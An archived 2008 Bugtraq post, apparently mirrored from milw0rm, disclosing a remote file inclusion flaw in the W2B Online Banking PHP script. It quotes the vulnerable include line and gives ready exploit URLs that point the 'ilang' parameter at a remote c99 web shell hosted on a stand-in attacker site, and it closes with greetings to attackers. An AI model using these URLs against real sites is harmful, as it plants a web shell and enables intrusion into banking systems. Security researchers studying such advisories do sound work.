bugtraq - remote file include

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: 15 Apr 2008 18:42:27 -0000
From: win32.exe@...n
To: bugtraq@...urityfocus.com
Subject: remote file include

#########################################################################
        W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################


## AUTHOR: THuM4N
## Email : Win32.exe@...n

## Script : W2B Online Banking 

## Site   : http://www.w2b.ru

## Vulnerable CODE :
~~~~~~~~~~/index.php ~~~~~~~~~~~~~~~~~~~~~~
{
    include($_SESSION["ilang"]."/".$_REQUEST["page"].".htm");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


## EXPLOIT :
http://[HOST]/[Path]/index.php?ilang=http://yoursite.com/c99.txt?
 
 or

http://[HOST]/?ilang=http://yoursite.com/c99.txt?


## SPECIAL GREETZ : 2 All MUSLIM HACKERS.
## AND BIGUP 2 All Attackers Around The World .

#########################################################################
      W2B Online Banking Remote File Inclusion Vulnerability
#########################################################################

# milw0rm.com [2008-04-15]